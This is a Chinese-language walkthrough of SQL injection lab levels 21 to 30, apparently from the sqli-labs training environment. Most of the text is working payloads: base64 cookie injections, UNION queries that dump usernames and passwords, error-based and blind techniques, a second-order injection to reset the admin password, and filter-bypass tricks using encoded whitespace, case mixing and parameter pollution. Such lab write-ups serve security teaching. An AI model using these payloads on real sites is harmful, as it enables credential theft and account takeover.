不管是第幾關,我們的最終目標是獲得用戶密碼,從而獲取最高權限!
第二十一關
我們輸入用戶名密碼之后發現是這個樣子的,和第20關很像,就是cookie的值變成了一堆字母數字,
這是對cookie的值進行了base64的處理,其他和20關一樣

代理,抓包,,
當然要先確認cookie后面的構造,通過測試是單引號括號閉合'),當然這個也要轉碼,
給大家一個在線加密解密網站
獲取數據庫名
-giao') union select 1,2,database()# 轉義后 LWdpYW8nKSB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

最后獲得用戶名密碼,中間步驟不再一一截圖,里面的語句和第一關一樣
這是語句 -admin') union select 1,2,group_concat(username,0x3a,password) from users#
這是base64轉碼 LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyM9

第二十二關
這一關還是輸入用戶名密碼先試試,發現和21關一樣

還是那個步驟先試試是啥閉合方式,發現是雙引號閉合,
這就好辦了,其他和上一關一樣(步驟都一樣,直接給最后一步)
這是語句 -admin" union select 1,2,group_concat(username,0x3a,password) from users#=
這是base64碼 LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzIz0g

第二十三關
上來先看一下23關,趕緊又回歸原始了昂,看上去第一關有點像,那還是哪些步驟試一試嘛

我剛開始我試了試發現字符型注入但是后面有個問題,可以用and 但是不能用聯合查詢語句了,一看php文件原來他把 # --+注釋符號給過濾掉了
一種是用union select聯合查詢放在id里面 ?id=' union select 1,13,database() '

爆表
?id=' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() or '1'= '

爆列
?id=' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users' or '1'= '

爆用戶名密碼
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1'= '

另一種是利用or "1"="1來閉合后面的雙引號也。可以達到我們的目的(簡單測試不再贅述,代碼和第五關的基本一樣) ?id=-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

第二十四關

這里是個二次注入,我們可以先注冊一個admin'#的賬號,在修改密碼處我們就可以用自己的密碼修改admin的密碼了,(從數據庫中修改是查找的‘admin’#‘,並不會進行轉義,所以最后修改的是admin的密碼)
Sql語句變為UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是執行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
注冊admin'#,,,密碼為123

登入

修改密碼為123456

這時我們就可以用admin用戶登入啦

第二十五關
這關一上來好像就告訴我們不能用and和or進行注入,那咱就不用了,
接下來有三種方法(具體步驟不再截圖)
第一種方法,用--+ #這種普通注入 ?id=-1' union select 1,13,database()--+

第二種方法雙寫or和and,因為它過濾一個,我們就讓過濾后的東西再組成一個
?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+


第三種方法,使用&&, 第三種方法,使用&&,||繞過
?id=1’|| extractvalue(1,concat(0x7e,database()))–+

第二十五a關
通過這關的題目我們可以發現這關是盲注,所以說只是不回顯了的不用and和or,
而且我測試發現,這關是數字型注入也就是說沒有引號

說是盲注但是還有回顯,因為有回顯位,,雙寫or繞過

一說到盲注咱們就想到啥了?那肯定是時間盲注和布爾盲注對吧
時間盲注 ?id=-1 || if(length(database())=8,1,sleep(3))#

第二十六關

咱直接看它的php文件吧,,直接來了個過濾大套餐,
我們可以用URL編碼

%09 TAB鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return功能
%0b TAB鍵(垂直)
%a0 空格
%27單引號
用'1'='1進行閉合(注意在hackbar中輸入&&時,需要自行URL編碼為%26%26,否則會報錯,而輸入||不需要)
確定顯示位 ?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271

爆庫名 ?id=0'union%a0select%a01,database(),3%26%26'1'='1

查表名
?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1

爆列名 ?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1

爆用戶名密碼 ?id=0'%a0union%a0select%a01,group_concat(username,0x3b,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1(這里不同的是后面多了where '1'='1,是為了讓語句變成無約束查詢)

還有一種就是用連接符結合上幾天xpath報錯獲取信息來獲取信息
?id=-1'||updatexml(1,concat('~',database(),'~'),3)||'

除此之外,
還可以盲注 ?id=0'||left(database(),1)='s'%26%26'1'='1

第二十六a關
這關與上一關的區別在於,在后面加上了括號進行閉合,
同時在sql語句執行拋出錯誤后並不在前台頁面輸出。所有我們排除報錯注入,這里依舊是利用union注入

獲取數據庫名
?id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

爆表名 ?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1
爆列名 ?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1
爆用戶名密碼 ?id=100')%0bunion%0bselect%0b1,group_concat(username,0x3b,passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1
第二十七關
與26關一樣,這次去除了邏輯運算符添加了union seclet。
同樣利用26關的方式,采取%a0來代替空格

這里過濾了union select ,所以我們采用大小寫方式去繞過,雙寫是不行的
爆庫名 ?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1
爆表名 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1
爆列名 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1
爆用戶名密碼 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3
獲得用戶名密碼

第二十七a關
和第二十七關一樣,就是把單引號變成雙引號閉合了
實驗一下 ?id=0"%A0or(1)=(1)%26%26%a0"1

獲得數據庫長度 ?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3
獲得數據庫名 ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3
爆表名(查表面需要閉合后面雙引號我就用"1"="1來閉合,前面還需要&&(%26%26)並一起,要不然會顯示不出來,這個我經常忘記,沒有就會出現這種情況)
?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1
爆列名 ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1
爆用戶名密碼 ?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3
獲取用戶名密碼

第二十八關
這關在之前的技術上,加上了union和select的大小寫也過濾了,都不能用了
我們直接用盲注,進行測試,一點一點試(其他的不贅述了)

得到數據庫名 (用聯合查詢語句的方法) (過濾union select這一個組合,也要過濾空格,所以采用union union select select方法繞過,空格照樣用%0a替換)
?id=0')%A0Union%A0selECt(1),version(),database()%26%26%A0('1

第二十八a關
只是把第28關改成了雙引號,,發現id=1")和id=1)"這樣也行

爆數據庫名 ?id=0')UNion%a0SElect%a01,database(),('giao')=('giao

爆表名 ?id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('giao')=('giao
爆列名 ?id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0ANd%a0table_name='users'%a0%26%26%a0('giao')=('giao
爆用戶名和密碼 ?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0where%a0('giao')=('giao

當然除了聯合查詢語句還可以 盲注 0')||left((database()),1)='s';%00
第二十九關
上來測試是雙引號單引號,一般來說都是單引號下一關是雙引號,這個是直接就是雙引號,並且兩個單引號也可以,那么語句可能是 select * from users where id='xx' limit 1,1

獲得數據庫名(union select 聯合查詢語句直接上,和之最開始前幾關一樣)(另外發現#在這關不能用)

爆表名 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆列名 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆用戶名和密碼 ?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+
另外還有別的方法
利用tomcat與apache解析相同請求參數不同的特性,tomcat解析相同請求參數取第一個,而apache取第二個,如?id=1&id=2,tomcat取得1,apache取得2
獲得表名 ?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
第三十關
這關和上一關一樣,就是把單引號換成了雙引號,
爆用戶名密碼 ?id=-1" union select 1,2,group_concat(username,0x7e,password) from users--+

另外和上一關一樣,也可以利用tomcat與apache解析相同請求參數不同的特性
?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
結束
